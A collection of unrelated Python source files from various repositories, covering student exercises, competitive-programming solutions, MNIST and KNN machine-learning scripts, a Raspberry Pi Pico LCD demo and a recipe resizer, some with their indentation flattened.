plt.legend(loc="upper right")
plt.show()
input("\n--- Pulsar tecla para continuar ---\n")
# Bloque de código para repetir el proceso anterior 1000 veces y calcular la
# media de EIN y EOUT
print("Ahora vamos a repetir el proceso anterior 1000 veces pero con muestras distintas\n")
print("Paciencia esto puede tardar unos minutos...\n")
contador = 0
Ein = 0
Eout = 0
while(contador < 1000):
contador += 1
x = simula_unif(1000, 2, 1)
#Generamos las etiquetas
etiqueta = []
for i in range(len(x)):
etiqueta.append(f(x[i][0],x[i][1]))
etiquetas = np.array(etiqueta)
y = ruido(etiquetas,0.1)
#Creamos el vector de caracteristicas
caracteristicas = np.ones(x.shape[0])
caracteristicas = np.c_[caracteristicas,x[:, 0], x[:, 1],x[:, 0]*x[:, 1], np.square(x[:, 0]), np.square(x[:, 1])]
x_aux = caracteristicas.copy()
y_aux = y.copy()
num_batch = int(len(x)/tam_batch)
w = sgd(x_aux,y_aux,learning_rate,num_batch,maxIter)
#Variable donde vamos a ir acumulando el error dentro de la muestra para calcular la media
Ein += Err(caracteristicas,y,w)
# Repetimos lo mismo para sacar Eout y evaluamos
x_out = simula_unif(1000, 2, 1)
#Generamos las etiquetas
etiqueta = []
for i in range(len(puntos_cuadrado)):
etiqueta.append(f(x_out[i][0],x_out[i][1]))
etiquetas = np.array(etiqueta)
y_out = ruido(etiquetas,0.1)
#Creamos el vector de caracteristicas
caracteristicas_out = np.ones(x_out.shape[0])
caracteristicas_out = np.c_[caracteristicas_out,x_out[:, 0], x_out[:, 1],x_out[:, 0]*x_out[:, 1], np.square(x_out[:, 0]), np.square(x_out[:, 1])]
Eout += Err(caracteristicas_out,y_out,w)
print("Valor medio Ein: ",Ein/1000)
print("\nValor medio de Eout: ", Eout/1000) |
a0dc1147aa5b828b0c582b9165029b6a780825e1 | AntoineBlaud/hashcode | /prepa/TD6/letters.py | 577 | 3.6875 | 4 | def main():
letters = list(input())
letters_set = sorted(list(set(letters)), key = letters.index)
best = -1
best_letter = letters[0]
for letter in letters_set:
indice = [i for i, x in enumerate(letters) if x == letter]
if len(indice) < 2:
continue
current = max(tuple([indice[i + 1]-indice[i] for i in range(len(indice) - 1)])) - 1
best_letter = letter if current > best else best_letter
best = max(best, current)
return best_letter, str(best)
if __name__ == '__main__':
print(' '.join(main()))
|
ac0edb94b8364c0121dd312ed2a1d672c5a66779 | taq225/AtCoder | /AGC023/B.py | 496 | 3.5 | 4 | import itertools
N = int(input())
table = [input() for _ in range(N)]
count = 0
for b in range(N):
symmetric = True
new_table = []
for i in range(N):
string = table[i][b:] + table[i][:b]
new_table.append(string)
for i in range(N-1):
string1 = new_table[i][i+1:]
string2 = ''.join([s[i] for s in new_table[i+1:]])
if string1 != string2:
symmetric = False
break
if symmetric:
count += N
print(count)
|
4767e14d9157e6fc7033bf8cce47d6a88bff0c83 | nestorghh/coding_interview | /ValidPalindrome.py | 275 | 3.734375 | 4 | def isPalindrome(s):
if len(s)<=1:
return True
if s[0]==s[-1]:
return isPalindrome(s[1:len(s)-1])
return False
def validPalindrome(s):
if isPalindrome(s):
return True
for i in range(len(s)):
if isPalindrome(s[:i]+s[i+1:]):
return True
return False
|
ae6f20f8cef6b892a7f34f1f05b2cb367386abc9 | Vnd443/python-competitve-codes | /removing-duplicate-in-list.py | 706 | 3.796875 | 4 | # removing duplicate var in given list by rearranging list
def remove_duplicate(n, arr):
if n == 0 or n == 1:
return n
temp = list(range(n))
j = 0
for i in range(0, n - 1):
if arr[i] != arr[i + 1]:
temp[j] = arr[i]
j += 1
temp[j] = arr[n - 1]
j += 1
for i in range(0, j):
arr[i] = temp[i]
print(arr[i])
return j
if __name__ == '__main__':
t = int(input())
for i in range(t):
n = int(input())
arr = list(map(int, input().strip().split()))
n = remove_duplicate(n, arr)
for i in range(n):
print(arr[i], end=" ")
print()
|
313454aeede2d2358c91076f98a7075fff7fc945 | silvertakana/PythonCore | /hw10/code1.py | 457 | 4 | 4 | class Dog:
species = 'mammal'
def __init__(self, name, age):
self.name = name
self.age = age
dogs = []
dogs.append(Dog("Fake",2))
dogs.append(Dog( "Mickey",7))
dogs.append(Dog("Fuk",5))
def get_oldest_dog(*args):
"""find the oldest dog"""
oldest_dog = args[0]
for d in args:
if(d.age > oldest_dog.age):
oldest_dog = d
return oldest_dog
print(f"The oldest dog is {get_oldest_dog(dogs[0],dogs[1],dogs[2]).age} years old.")
|
e4e5a415ee1862ab176df11b39c01d3a6da905fc | alvin319/book-notes | /tensorflow/mnist.py | 3,743 | 3.53125 | 4 | import tensorflow as tf
from tensorflow.examples.tutorials.mnist import input_data
# Downloading MNIST data
mnist = input_data.read_data_sets("MNIST_data/", one_hot=True)
x = tf.placeholder(tf.float32, [None, 784])
W = tf.Variable(tf.zeros([784, 10]))
b = tf.Variable(tf.zeros([10]))
# Standard soft max
y = tf.nn.softmax(tf.matmul(x, W) + b)
# Placeholders for storing the labels
y_ = tf.placeholder(tf.float32, [None, 10])
# Getting the cross entropy loss
cross_entropy = tf.reduce_mean(-tf.reduce_sum(y_ * tf.log(y), reduction_indices=[1]))
# Initializing optimizer and throwing the loss function into the optimizer
train_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy)
session = tf.InteractiveSession()
tf.global_variables_initializer().run()
# Training standard soft max
for _ in range(100):
batch_xs, batch_ys = mnist.train.next_batch(100)
session.run(train_step, feed_dict={x: batch_xs, y_: batch_ys})
correct_prediction = tf.equal(tf.arg_max(y, 1), tf.arg_max(y_, 1))
accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))
print(accuracy.eval(feed_dict={x: mnist.test.images, y_: mnist.test.labels}))
# Initialization methods for weights
def weight_variable(shape):
initial = tf.truncated_normal(shape, stddev=0.1)
return tf.Variable(initial)
def bias_variable(shape):
initial = tf.constant(0.1, shape=shape)
return tf.Variable(initial)
# Convolution 2D operation
def conv2d(x, W):
return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')
# Max pool 2x2 operation
def max_pool_2x2_(x):
return tf.nn.max_pool(x, ksize=[1, 2, 2, 1],
strides=[1, 2, 2, 1], padding='SAME')
# CNN architecture
W_conv1 = weight_variable([5, 5, 1, 32])
b_conv1 = bias_variable([32])
x_image = tf.reshape(x, [-1, 28, 28, 1])
h_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1)
h_pool1 = max_pool_2x2_(h_conv1)
W_conv2 = weight_variable([5, 5, 32, 64])
b_conv2 = bias_variable([64])
h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2)
h_pool2 = max_pool_2x2_(h_conv2)
W_fc1 = weight_variable([7 * 7 * 64, 1024])
b_fc1 = bias_variable([1024])
h_pool2_flat = tf.reshape(h_pool2, [-1, 7 * 7 * 64])
h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)
keep_prob = tf.placeholder(tf.float32)
h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)
W_fc2 = weight_variable([1024, 10])
b_fc2 = bias_variable([10])
# Matmul for fast matrix multiplication
y_conv = tf.matmul(h_fc1_drop, W_fc2) + b_fc2
# Reduce methods to calculate cross entropy loss
cross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y_, logits=y_conv))
train_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy)
correct_prediction = tf.equal(tf.arg_max(y_conv, 1), tf.arg_max(y_, 1))
accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))
# test accuracy = 0.9921000003814697
with tf.Session() as session:
session.run(tf.global_variables_initializer())
for iteration in range(20000):
batch = mnist.train.next_batch(50)
if iteration % 100 == 0:
train_accuracy = accuracy.eval(
feed_dict={
x: batch[0],
y_: batch[1],
keep_prob: 1.0
}
)
print("Step {}, training accuracy = {}".format(iteration, train_accuracy))
# Whenever you are running the graph, make sure to fill in placeholders with feed_dict
train_step.run(feed_dict={x: batch[0], y_: batch[1], keep_prob: 0.5})
print("test accuracy = {}".format(accuracy.eval(
feed_dict={
x: mnist.test.images,
y_: mnist.test.labels,
keep_prob: 1.0
}
)))
|
df17a6e2688448c756b68f0987f1e5b0e545eaff | benjaminborgen/Number-recognition | /KNearest.py | 2,042 | 3.734375 | 4 | import numpy as np
from sklearn.neighbors import KNeighborsClassifier
from sklearn import datasets
from sklearn.model_selection import train_test_split
import Printer as pt
def main():
data_mnist = datasets.load_digits()
algorithm_name = "K-nearest neighbors"
# 75% for training and 25% for testing
(train_data, test_data, train_labels, test_labels) = train_test_split(np.array(data_mnist.data),
data_mnist.target, test_size=0.25, random_state=42)
# Create the validation data
(train_data, val_data, train_labels, val_labels) = train_test_split(train_data, train_labels,
test_size=0.1, random_state=84)
# show the sizes of each data split
print("\nTraining data points: {}".format(len(train_labels)))
print("Validation data points: {}".format(len(val_labels)))
print("Testing data points: {}\n".format(len(test_labels)))
# The range of K-neighbors
k_values = range(1, 100, 1)
accuracies = []
pt.training(algorithm_name)
# Go through the values of K's
for k in range(1, 100, 1):
# train the k-Nearest Neighbor classifier with the current value of K
model = KNeighborsClassifier(n_neighbors=k)
model.fit(train_data, train_labels)
# Returns mean accuracy of data and label
score = model.score(val_data, val_labels)
print("K=%d | Accuracy=%.2f%%" % (k, score * 100))
accuracies.append(score)
i = int(np.argmax(accuracies))
pt.printSpacing()
print("The K that had the highest registered accuracy was:")
print("K = %d of %.2f%%" % (k_values[i], accuracies[i] * 100))
# Train the classifier using the best K
model = KNeighborsClassifier(n_neighbors=k_values[i])
model.fit(train_data, train_labels)
# Predict the class label of given data
predictions = model.predict(test_data)
pt.cf_report(test_labels, predictions)
pt.printSpacing() |
5094c7be434b63b34be77255926d1a98d06ac708 | RomanSPbGASU/Lessons-Python | /L5/L5E1.py | 1,111 | 3.75 | 4 | from re import compile
def delete_spaces(strings: list):
for i, string in enumerate(strings):
string = list(string)
for space in range(string.count(" ")):
string.remove(" ")
strings[i] = "".join(string)
def delete_punctuation(strings: list):
ptrn = compile(r"[а-яА-Я]+")
for i, string in enumerate(strings):
res = ""
res += ptrn.search(string).group(0)
strings[i] = res
def capitalize(strings: list):
for i, string in enumerate(strings):
strings[i] = string.capitalize()
def print_strings(strings: list):
for string in strings:
print(string)
if __name__ == "__main__":
titles = [" Газпром ", " Роснефть!", "ЛУКойл#", "Сургутнефтегаз",
" Сбербанк ? ", "транснефть", "$МосЭнерго@"]
print("Начальный список:")
print_strings(titles)
delete_spaces(titles)
delete_punctuation(titles)
capitalize(titles)
print("\nОчищенный список:")
print_strings(titles)
|
c8f22f5c536a41e594da037c7c14354b41ede285 | jsfehler/stere | /stere/value_comparator.py | 1,307 | 3.75 | 4 | class ValueComparator:
"""Store a boolean result, along with the expected and actual value.
For equality checks, the value of `result` will be used.
This object is used to get more robust reporting from Field.value_contains
and Field.value_equals when used with assertions.
Arguments:
result (bool): The boolean result of the comparison
expected (object): The expected value
actual (object): The actual value
"""
def __init__(
self,
result: bool,
expected: object = None,
actual: object = None,
):
self.result = result
self.expected = expected
self.actual = actual
def __repr__(self) -> str:
"""Get a useful representation of this object."""
return str(self)
def __str__(self) -> str:
"""Get a string representation of this object."""
rv = (
f"{self.result}. "
f"Expected: {self.expected}, Actual: {self.actual}"
)
return rv
def __eq__(self, other: object) -> bool:
"""Check if other equals self.result."""
if other == self.result:
return True
return False
def __bool__(self) -> bool:
"""Boolean comparison uses self.result."""
return self.result
|
d7e1ce8f19ebf25a73db61fb7b37ffa57f292c2d | hyc121110/LeetCodeProblems | /Sum/maxSubArray.py | 591 | 4.1875 | 4 | '''
Given an integer array nums, find the contiguous subarray (containing at least one number) which has the largest sum and return its sum.
'''
def maxSubArray(nums):
# initialize max sum
max_sum = nums[0]
for i in range(1,len(nums)):
if nums[i] + nums[i-1] > nums[i]:
# replaced nums[i] with the sum of nums[i] and nums[i-1]
nums[i] = nums[i] + nums[i-1]
# update max_sum if
if nums[i] > max_sum:
max_sum = nums[i]
return max_sum
print(maxSubArray(nums=[-2,1,-3,4,-1,2,1,-5,4]))
print(maxSubArray(nums=[-2,1])) |
932d86e9f04277795488d05f5230700b7a727b40 | camilogs1/Scripts_UCLA | /Taller1/Parte2/punto7.py | 344 | 4.03125 | 4 | print("\tIngrese los puntos en tres dimensiones para calcular distancia")
x1 = int(input("X1: "))
y1 = int(input("Y1: "))
z1 = int(input("Z1: "))
x2 = float(input("X2: "))
y2 = float(input("Y2: "))
z2 = float(input("Z2: "))
d = float(((x2-(x1))**2+(y2-(y1))**2+(z2-(z1))**2)**0.5)
print("La distancia entre los puntos es: {0:.2f}".format(d)) |
e07c6bd4c194d8dc74c170717db5a04f2f87c914 | Ukabix/python-basic | /core ideas/objects/variable dynamic.py | 121 | 3.703125 | 4 | x=input()
print(x)
print(type(x))
x=int(x)
x=x+2
print(x)
print(type(x))
x=float(x)
x=x+0.5
print(x)
print(type(x))
|
0f2e53c874185222365ec850f48a50b26f965dd6 | Vijayoswalia/Py_work | /newdir/PythonTest.py | 767 | 3.875 | 4 | color_list = ["Red","Green","White" ,"Black"]
print(color_list[0],color_list[-1])
import numpy as np
data1 =[1,2,5,10,-20]
def median(data):
x=sorted(data1)
if (len(x)%2 == 0):
median =(x[len(x)/2]+x[len(x)/2+1])/2
return median
else:
median = x[int((len(x)-1)/2)]
return median
median(data1)
import matplotlib.pyplot as plt
Age = [10,20,30,40]
Weight = [22,43,54,67]
plt.scatter(Age,Weight)
plt.xlabel('Age')
plt.ylabel('Weight')
plt.title('Age vs Weight')
import os
f = open("myfile.txt","w")
f.write("My favourite language for maintainability is Python \n")
f.write("It has simple, clean syntax \n")
f.write("It has good library support \n")
f.close()
f=open("myfile.txt", "r")
contents =f.read()
print(contents)
|
3c2bff0bbac649c1b842cce8116051ec87318323 | kelvinchoiwc/DataScience_1082 | /examples/大數據資料分析/範例程式/第10章/program10-5.py | 193 | 3.578125 | 4 | def main():
try:
number = eval(input('Enter a number: '))
print('You enterde number is %d'%(number))
except NameError as ex:
print('Exception : %s'%(ex))
main() |
357fbb95aa5377bb1db3ec5c183b380ea4685284 | sanidhyamangal/interviews_prep | /code_prep/searching_and_sorting/sort/sort_peaks_valleys.py | 898 | 3.9375 | 4 | # Reorder an array into peaks and valleys.
__author__ = 'tchaton'
def peaks_and_valleys(array):
if len(array) < 3:
return
for index in range(len(array) - 1):
if index % 2:
if array[index] < array[index + 1]:
array[index], array[index + 1] = array[index + 1], array[index]
else:
if array[index] > array[index + 1]:
array[index], array[index + 1] = array[index + 1], array[index]
import unittest
class Test(unittest.TestCase):
def test_peaks_and_valleys(self):
a = [12, 6, 3, 1, 0, 14, 13, 20, 22, 10]
peaks_and_valleys(a)
self.assertEqual(a, [6, 12, 1, 3, 0, 14, 13, 22, 10, 20])
b = [34, 55, 60, 65, 70, 75, 85, 10, 5, 16]
peaks_and_valleys(b)
self.assertEqual(b, [34, 60, 55, 70, 65, 85, 10, 75, 5, 16])
if __name__ == "__main__":
unittest.main()
|
1e64e71742544b857afed28a11ba49a4d37472ce | tharani247/PFSD-Python-Programs | /Module 1/Program-8.py | 200 | 4.03125 | 4 | '''Python script to dispaly largest number among two numbers'''
a=int(input('Enter first value'))
b=int(input('Enter Second value'))
if a > b:
print("a is big")
else:
print("b is big")
|
6fa899b861e6181e2df57ecc4add9a942a7d0085 | theBlackBoxSociety/CodeCrashCourses | /code/RaspberryPiPICO/lcdDemo.py | 4,344 | 3.5 | 4 | # import the required libraries
from machine import Pin, I2C
from pico_i2c_lcd import I2cLcd
import utime
# declare pins for I2C communication
sclPin = Pin(1) # serial clock pin
sdaPin = Pin(0) # serial data pin
# Initiate I2C
i2c_object = I2C(0, # positional argument - I2C id
scl = sclPin, # named argument - serial clock pin
sda = sdaPin,# named argument - serial data pin
freq = 100000) # named argument - i2c frequency
# scan i2c port for available devices
result = I2C.scan(i2c_object)
print("I2C scan result : ", result)
if result != []:
print("I2C connection successfull")
else:
print("No devices found !")
# lcd setup
# i2c lcd address
i2c_addr = 0x27 # change it to the address of your lcd
# no of rows in the lcd
num_lines = int(input("LCD rows (Max is 4):"))
# number of columns in the lcd
num_columns = int(input("LCD columns (Max is 20):"))
# define the lcd object on selected i2c port
lcd_object = I2cLcd(i2c_object,
i2c_addr,
num_lines,
num_columns)
while True:
# start populating data to the lcd
"""clear() method Clears the LCD display and moves the cursor
to the top left corner """
lcd_object.clear()
utime.sleep(0.2)
""" show_cursor() method Causes the cursor to be made visible."""
lcd_object.show_cursor()
""" hide_cursor() method Causes the cursor to be hidden."""
# lcd_object.hide_cursor()
""" Turns on the cursor, and makes it blink """
# lcd_object.blink_cursor_on()
""" Turns on the cursor, and makes it stop blinking (i.e. be solid). """
# lcd_object.blink_cursor_off()
""" Turns the lcd display on """
lcd_object.display_on()
""" Turns the lcd display off """
#lcd_object.display_off()
""" backlight_on() method Turns the backlight on.
This isn't really an LCD command, but some modules have backlight
controls """
lcd_object.backlight_on()
""" backlight_on() method Turns the backlight off """
# lcd_object.backlight_off()
""" move_to() method Moves the cursor position to the indicated
position. The cursor position is zero based
(i.e. cursor_x == 0 indicates position of horizontal coordinate
from 0-15 for a 16 by 2 lcd)--> column number
(i.e. cursor_y == 0 indicates position of vertical coordinate
from 0-1 for a 16 by 2 lcd)--> row number
"""
cursor_x = 0 # position of horizontal coordinate from 0-15, that is column number
cursor_y = 0 # position of vertical coordinate from 0-1 , that is row number
lcd_object.move_to(cursor_x, cursor_y)
""" putchar() method Writes the indicated character to the LCD at the current
cursor position, and advances the cursor by one position """
# lcd_object.putchar('H')
""" putstr() method Write the indicated string to the LCD at the
current cursor position and advances the cursor position
appropriately """
lcd_object.putstr('Hellfire')
""" Sleep for some time (given in microseconds).this directly
puts the lcd module to sleep and you will notice delays in between
lcd printing strings ."""
lcd_object.hal_sleep_us(1000000) # 1 second delay
cursor_x = 0 # column number
cursor_y = 1 # row number
lcd_object.move_to(cursor_x, cursor_y)
lcd_object.putstr('Robotics')
# # adding two more lines for 20 by 4 lcd screen
# lcd_object.hal_sleep_us(1000000) # 1 second delay
#
# cursor_x = 10 # column number
# cursor_y = 2 # row number
# lcd_object.move_to(cursor_x, cursor_y)
# lcd_object.putstr('Please')
#
# lcd_object.hal_sleep_us(1000000) # 1 second delay
#
# cursor_x = 10 # column number
# cursor_y = 3 # row number
# lcd_object.move_to(cursor_x, cursor_y)
# lcd_object.putstr('Subscribe')
#
utime.sleep(3)# totally optional
lcd_object.clear()
|
20510d6e25fdeda598d9c8402e7dd8ab04a66f3d | Hassan-Farid/PyTech-Review | /Computer Vision/Core OpenCV Operations/Basic Image Operations/Accesing Pixels of Image.py | 1,079 | 3.78125 | 4 | import cv2
import numpy as np
import sys
#Reading image from the Images folder
img = cv2.imread('.\Images\image2.jpg')
#Accessing pixel from an image using (row, column) coordinates
px = img[100, 100]
print(px) #Gives us the value of pixel present in the (100,100) coordinate
#Accessing only a particular color of pixels from the image
bpx = img[100, 100, 0] #Gives blue pixel only
gpx = img[100, 100, 1] #Gives green pixel only
rpx = img[100, 100, 2] #Gives red pixel only
print("Blue Pixel: {} \n Green Pixel: {} \n Red Pixel: {}".format(bpx, gpx, rpx))
#Manipulating pixel value for image
img[100, 100] = [255, 0, 255] #This turns previous color of pixel to magenta
print(img[100, 100])
#Another more efficient way of manipulating and accessing pixels is using numpy's builtin methods
px = img.item(100,100,0) #Gives blue pixel
print(px)
img.itemset((100,100,0), 90) #Assigns the value 90 to the blue pixel
img.itemset((100,100,1), 135) #Assigns the value 135 to the green pixel
img.itemset((100,100,2), 126) #Assigns the value 126 to the red pixel
print(img[100,100])
|
ea950969f8d8cba597b8a84f2692172f3f8edfdd | SERC-L1-Intro-Programming/python-examples | /week4/names.py | 409 | 4.28125 | 4 | # collecting names
# program that collects a series of names
names = []
while True:
print("Enter the name of student number " + str(len(names) + 1) + ".")
print("Enter nothing to stop.")
new_name = input()
if new_name == "":
break
else:
names = names + [new_name] # list concatenation
print("The names of the students are:")
for name in names:
print(" " + name)
|
a2dd1b2ae39c27a1c0e67ce7af656e327b7835af | NutthanichN/grading-helper | /week_6/6210545963_lab6.py | 8,056 | 3.96875 | 4 |
#1
def ll_sum(s):
""" function that sum the list.
>>> ll_sum([[1,2],[3],[4,5,6]])
21
>>> ll_sum([[-5,-2],[11],[10,9,7]])
30
>>> ll_sum([[4,5,6],[8],[1],2])
26
>>> ll_sum([[-1,-2],[-3,-4],[-5,-6]])
-21
>>> ll_sum([[0],1])
1
"""
result = 0
for item in s:
if type(item) == list:
result += ll_sum(item)
else:
result += item
return result
#2
def cumulative_sum(s):
""" function that cumulative sum from list.
>>> cumulative_sum([1,2,3])
[1, 3, 6]
>>> cumulative_sum([-1,-2,-3])
[-1, -3, -6]
>>> cumulative_sum([1,2,3,4,5])
[1, 3, 6, 10, 15]
>>> cumulative_sum([5,4,3,2,1])
[5, 9, 12, 14, 15]
>>> cumulative_sum([0,0,0])
[0, 0, 0]
"""
cumu = []
cumu_sum = 0
for a in s:
cumu_sum += a
cumu.append(cumu_sum)
return cumu
t = [1,2,3]
# print(cumulative_sum(t))
#3
def middle(s):
""" function that return new list that contain all but the first and last elements.
>>> middle([1,2,3,4])
[2, 3]
>>> middle([1,2,3,4,5,6])
[2, 3, 4, 5]
>>> middle([0,0,0,0,0,0,0])
[0, 0, 0, 0, 0]
>>> middle([-4,-5,8,5,7,-5])
[-5, 8, 5, 7]
>>> middle([9,8,7,6,5,4,3,2,1])
[8, 7, 6, 5, 4, 3, 2]
"""
return s[1:2] + s[2:-1]
#4
def chop(s):
""" function that change the list s to the new list that contain all but the first and last elements but didn't return.
>>> t = [1, 2, 3, 4]
>>> chop(t)
>>> t
[2, 3]
>>> t = [1, 2, 3, 4,5,6]
>>> chop(t)
>>> t
[2, 3, 4, 5]
>>> t = [0,0,0,0,0,0,0]
>>> chop(t)
>>> t
[0, 0, 0, 0, 0]
>>> t = [-4,-5,8,5,7,-5]
>>> chop(t)
>>> t
[-5, 8, 5, 7]
>>> t = [9,8,7,6,5,4,3,2,1]
>>> chop(t)
>>> t
[8, 7, 6, 5, 4, 3, 2]
"""
s.pop(0)
s.pop(-1)
#5
def is_sorted(s):
""" function that check is the list sorted or not if it sorted return True if not return False.
>>> is_sorted([1, 2, 2])
True
>>> is_sorted(['b', 'a'])
False
>>> is_sorted(['a','d','e','i','l','p'])
True
>>> is_sorted(['z','x','y'])
False
>>> is_sorted([9,8,7,5,6,5,4,3,2,1])
False
"""
a = []
for num in s:
a.append(num)
s.sort()
if a == s:
return True
else:
return False
#6
def front_x(s):
""" function that sort the taken list of string but the string start with x will go first.
>>> front_x(['mix', 'xyz', 'apple', 'xanadu', 'aardvark'])
['xanadu', 'xyz', 'aardvark', 'apple', 'mix']
>>> front_x(['xxx' , 'eiei' , 'oreo' , 'aroi'])
['xxx', 'aroi', 'eiei', 'oreo']
>>> front_x(['xaaaaa', 'xbbbbb', 'xccccc', 'xyyyyy' , 'xzzzzz'])
['xaaaaa', 'xccccc', 'xzzzzz', 'xbbbbb', 'xyyyyy']
>>> front_x(['m', 'is', 'very', 'x', 'leay', 'kub'])
['x', 'is', 'kub', 'leay', 'm', 'very']
>>> front_x(['z', 'y', 'x'])
['x', 'y', 'z']
"""
new = []
for a in s:
if a.startswith("x"):
new.append(a)
s.remove(a)
new.sort()
s.sort()
return new + s
# print (front_x(['mix', 'xyz', 'apple', 'xanadu', 'aardvark']))
#7
def even_only(s):
""" function that take the list of any number and return only the list of even number.
>>> even_only([3,1,4,1,5,9,2,6,5])
[4, 2, 6]
>>> even_only([1,2,3,4,5,6,7,8,9])
[2, 4, 6, 8]
>>> even_only([2,11,12,16,85,246])
[2, 12, 16, 246]
>>> even_only([56,89,75,12,3,5,4,56])
[56, 12, 4, 56]
>>> even_only([56,54,2,54,245,54,54,542])
[56, 54, 2, 54, 54, 54, 542]
"""
even =[]
for a in s:
if a%2 ==0:
even.append(a)
return even
#8
def love(text):
""" function that change the second last of the string to 'love'.
>>> love("I like Python")
'I love Python'
>>> love("I really like Python")
'I really love Python'
>>> love("I am very very very fcking hate python")
'I am very very very fcking love python'
>>> love("I need some xee kub")
'I need some love kub'
>>> love("I very really super very amazing very hate boob")
'I very really super very amazing very love boob'
"""
a = text.split()
a.pop(-2)
a.insert(-1,"love")
z = (" ".join(a))
return z
#9
def is_anagram(s1,s2):
""" function that return True if it anagram and Flase if it not.
>>> is_anagram('arrange', 'Rear Nag')
True
>>> is_anagram('ab c d f g', 'AFcdb g')
True
>>> is_anagram('omaewa', 'a w om ae')
True
>>> is_anagram('pussy', 'dick')
False
>>> is_anagram('kuy', 'H E e')
False
"""
a1 = s1.lower()
a2 = s2.lower()
t1 = a1.split(" ")
t2 = a2.split(" ")
z1 = ''.join(t1)
z2 = ''.join(t2)
x1 = sorted(z1)
x2 = sorted(z2)
if x1 == x2:
return True
else:
return False
#10
def has_duplicates(s):
""" function that return True if the list is duplicate and False if it not.
>>> has_duplicates([1, 2, 3, 4, 5])
False
>>> has_duplicates([1, 2, 3, 4, 5, 2])
True
>>> has_duplicates([1, 2, 3, 4, 5,6,56,23,57,654])
False
>>> has_duplicates([1, 2, 3, 4, 5,5,5,5,5,5,5,4,4,4,3,3,3,2,2,2])
True
>>> has_duplicates([1, 2, 3, 4, 5,545,4879,874654,57,246,65468,46])
False
"""
a = 0
while a < len(s):
if s.count(s[a]) > 1:
return True
elif a == (len(s) - 1):
return False
a += 1
#11
def average(nums):
""" function that calculate the average in list .
>>> average([1, 1, 5, 5, 10, 8, 7])
5.285714285714286
>>> average([1,2,3,4,5])
3.0
>>> average([5,4,7,8,9,21,1])
7.857142857142857
>>> average([6,5,23,21,2,4,55,4])
15.0
>>> average([8,6,5,4,2,3,5,7,4])
4.888888888888889
"""
return sum(nums)/len(nums)
#12
def centered_average(s):
""" function that remove the first and last number in list and calculate the average in list.
>>> centered_average([1, 1, 5, 5, 10, 8, 7])
5.2
>>> centered_average([1,2,3,4,5])
3.0
>>> centered_average([5,4,7,8,9,21,1])
6.6
>>> centered_average([6,5,23,21,2,4,55,4])
10.5
>>> centered_average([8,6,5,4,2,3,5,7,4])
4.857142857142857
"""
s.sort()
s.pop(0)
s.pop(-1)
return sum(s)/len(s)
#13
def reverse_pair(s):
""" function that reverse the taken string.
>>> reverse_pair("May the fourth be with you")
'you with be fourth the May'
>>> reverse_pair("M mang kod loh kod mang m")
'm mang kod loh kod mang M'
>>> reverse_pair("sa wad dee kub")
'kub dee wad sa'
>>> reverse_pair("yak dai line tong tam ngai")
'ngai tam tong line dai yak'
>>> reverse_pair("you suay mak kub koh jeeb dai mai")
'mai dai jeeb koh kub mak suay you'
"""
s = s.split()
s.reverse()
a = " ".join(s)
return a
#14
def match_ends(s):
""" function that count string in list that have the same first and last word.
>>> match_ends(["Gingering", "hello","wow"])
2
>>> match_ends(["EE", "suay","mak"])
1
>>> match_ends(["mia", "tee","dee"])
0
>>> match_ends(["koh", "line","ngai","dee"])
0
>>> match_ends(["seng", "sus","sus"])
2
"""
count = 0
s = " ".join(s)
s = s.lower()
z = s.split()
for a in z:
if a[0] == a[-1]:
count += 1
else:
count += 0
return count
#15
def remove_adjacent(s):
""" function that remove all adjacent elements to single element.
>>> remove_adjacent([1, 2, 2, 3])
[1, 2, 3]
>>> remove_adjacent([1, 2, 2, 3,3])
[1, 2, 3]
>>> remove_adjacent([1,2,2,2,2,2,2,2,2])
[1, 2]
>>> remove_adjacent([9,9,9,9,9,9,9,9,9,9,9,9])
[9]
>>> remove_adjacent([9,8,7,6,5,4,3,2,1])
[9, 8, 7, 6, 5, 4, 3, 2, 1]
"""
new_list = []
for nums in s:
if nums in new_list :
continue
else:
new_list.append(nums)
return new_list
|
2cc232c7001cf71e0d216ad22b85e1c2fc5f53e3 | nick-snyder/Digital-Portfolio | /Python/Recipe Resizer.py | 2,542 | 4.25 | 4 | # Create a program for Ms. Vashaw that will change the yield output for a given recipe.
# For example, if the given ingredients in a recipe serves 4,
# the program should be able to increase the amounts in the recipe to (double it or triple it)
# or reduce the amounts (half it or quarter it).
# The user should be able to input original ingredient quantities and recipe’s yield,
# then using mathematical expressions, give the increase or decrease for that recipe based on what the user wants.
whole_recipe = []
ingredient_name = ""
ingredient_ounces = ""
ingredient_type = ""
def space(num = 1):
for i in range(num):
print ("")
def operation(multiply_or_divide, number):
if multiply_or_divide == "multiply":
return (float(ingredient_number * number))
if multiply_or_divide == "divide":
return (float(ingredient_number / number))
print ("Welcome to Ms Vashaw's very own recipe multiplier!")
space()
total_ingredients = int(input("How many ingredients? "))
multiply_or_divide = input("Would you like to multiply or divide your recipe? ")
number = float(input("By what? "))
if multiply_or_divide == "divide" and number == 0:
print ("You cannot divide by zero. Please try again. ")
number = float(input("Divide your recipe by what? "))
space()
for i in range(total_ingredients):
count = i + 1
if count == 1:
order = "st"
if count == 2:
order = "nd"
if count == 3:
order = "rd"
if count >= 4:
order = "th"
if count > 11 and count % 10 == 1:
order = "st"
if count > 12 and count % 10 == 2:
order = "nd"
if count > 13 and count % 10 == 3:
order = "rd"
if count % 100 == 0:
order = ""
ingredient_name = input("What will your " + str(count) + order + " ingredient be? ")
ingredient_type = input("Units of measurement used for " + ingredient_name + ": ")
ingredient_number = float(input("How many " + ingredient_type + "? "))
if ingredient_type == "tsp" or "teaspoon":
if ingredient_number * number % 3 == 0:
ingredient_type = "tablespoons"
space()
print ("What you entered: " + str(ingredient_number) + " " + ingredient_type + " of " + ingredient_name)
rounded_number = round(operation(multiply_or_divide, number), 3)
math = str(rounded_number) + ingredient_type + " of " + ingredient_name
whole_recipe.append(math)
space()
space()
print ("Converted recipe: " + str(whole_recipe))
|
